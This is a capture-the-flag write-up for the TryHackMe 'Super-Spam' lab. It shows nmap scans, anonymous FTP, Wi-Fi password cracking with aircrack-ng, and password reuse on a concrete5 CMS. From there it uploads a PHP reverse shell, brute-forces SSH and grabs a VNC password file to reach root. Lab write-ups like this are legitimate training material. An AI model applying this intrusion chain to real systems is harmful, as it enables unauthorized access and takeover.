TryHackMe Super-Spam

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Super-Spam
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Task 01: Defeat Super-Spam

General Uvilix

Good Morning! Our intel tells us that he has returned. Super-spam, the evil alien villain from the planet Alpha Solaris IV from the outer reaches of the Andromeda Galaxy. He is a most wanted notorious cosmos hacker who has made it his lifetime mission to attack every Linux server possible on his journey to a Linux-free galaxy. As an avid Windows proponent, Super-spam has now arrived on Earth and has managed to hack into OUR Linux machine in pursuit of his ultimate goal. We must regain control of our server before it’s too late! Find a way to hack back in to discover his next evil plan for total Windows domination! Beware, super-spam’s evil powers are to confuse and deter his victims.

Flag	ref link
What CMS and version is being used? (format: wordpress x.x.x)	Nmap
What is the user flag?
What type of encryption did super-spam use to send his encrypted messages?
What type of encryption did super-spam use to send his encrypted messages?
What is the root flag?

recon

Nmap

sudo nmap -sC -sV -oN nmap/superspam 10.10.72.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-13 09:09 IST
Nmap scan report for 10.10.72.113
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
80/tcp   open  ssl/http Apache/2.4.29 (Ubuntu)
|_http-generator: `concrete5 - 8.5.2`
|_http-server-header: Apache/2.4.29 (Ubuntu)
5901/tcp open  vnc      VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)
6001/tcp open  X11      (access denied)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.09 seconds

all port scan

# Nmap 7.91 scan initiated Fri Aug 13 09:14:09 2021 as: nmap -p- -sC -sV -oN nmap/all-ports 10.10.72.113
Nmap scan report for 10.10.72.113
Host is up (0.16s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: concrete5 - 8.5.2
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home :: Super-Spam
4012/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:60:04:c0:a5:36:46:67:f5:c7:24:0f:df:d0:03:14 (RSA)
|   256 ce:d2:f6:ab:69:7f:aa:31:f5:49:70:e5:8f:62:b0:b7 (ECDSA)
|_  256 73:a0:a1:97:c4:33:fb:f4:4a:5c:77:f6:ac:95:76:ac (ED25519)
4019/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Feb 20 14:42 IDS_logs
|_-rw-r--r--    1 ftp      ftp           526 Feb 20 13:53 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.17.4.40
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5901/tcp open  vnc     VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)
6001/tcp open  X11     (access denied)
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 13 09:23:20 2021 -- 1 IP address (1 host up) scanned in 550.84 seconds
```---

FTP

list files
note.txt
download the files indside .cap directory

Network analysis

Based on packets seems like, WIFI traffic captured for “Wi-Fi Hacking” I’ll be using aircrack-ng for bruteforce.

traffic
Bruteforce for Wi-Fi password!
command aircrack-ng SamsNetwork.cap -w /usr/share/wordlists/rockyou.txt
no use for it so far

HTTP

webpage:
there is a /blog directory, let’s find all users there
usernames:
- Benjamin_Blogger
- Adam_Admin
- Donald_dump
- Lucy_Loser
now we have 4 possible usernames and 1 passowrd, let’s check out our golden password resuse policy(password reuse is not a good idea!)

Bruteforce

turns out, bruteforce is a bad idea, there is a csrf token and I’m lazy. anyways there are only 4 usernames & 1 password combo. I can do it manually!
and it worked!!
seems like we can now edit pages and there is a nice little manage/setting button
finally a upload option, I’ll be using php reverse shell to getinto the box
—

Uploading backdoor

find php reverse shell and chage IP to TUN0
cp /usr/share/laudanum/php/php-reverse-shell.php shell.php
change IP to your tun0 IP
start a listener
upload the shell
curl/access the php file on webserver & get the access
umm…. seems php is not valid type:
let’s fix it! a little google helped a lot!
add php to allowed file type
uploaded sucessfully
CURL the file to get access to backdoor
now we have access as www-data
Fix shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
the only /home dir we can read is /personal
got the user flag
another dir is readble, let’s check it out:
got a interesting file here:
let’s read this one, this answers the flag question!

Encryption keys

let’s download all files to our machine first!
we got a xored.py script. let’s use it to decrypt the msg.
It requires 2 png files. After trying a lot i found out c2.png and c8.png worked
that answers the flag question.

ROOT

Now we have password and 4 username, let’s Bruteforce for SSH

SSH Bruteforce
now we have SSH creds. let’s login as user
user Home directory is having wrong file permissions:
let’s fix it!
chmod 777 /home/donalddump
now we can read files. passwd file looks interesting
we do have a VNC server running on this machine, could it be the password for that?
let’s download this to our machine and try for VNC access

if you don’t have vnc viewer install run this: sudo apt install tigervnc-viewer

run this : vncviewer -passwd passwd 10.10.28.162:5901
you’ll see a hidden dir .nothing that have r00t.txt file. follow my lead copy that file to /tmp/root and read with your SSH user
copy the flag:
read the flag
use CyberChef to decode and read the root flag

OverView#

Task 01: Defeat Super-Spam#

General Uvilix#

recon#

FTP#

Network analysis#

HTTP#

Bruteforce#

Uploading backdoor#

Encryption keys#

ROOT#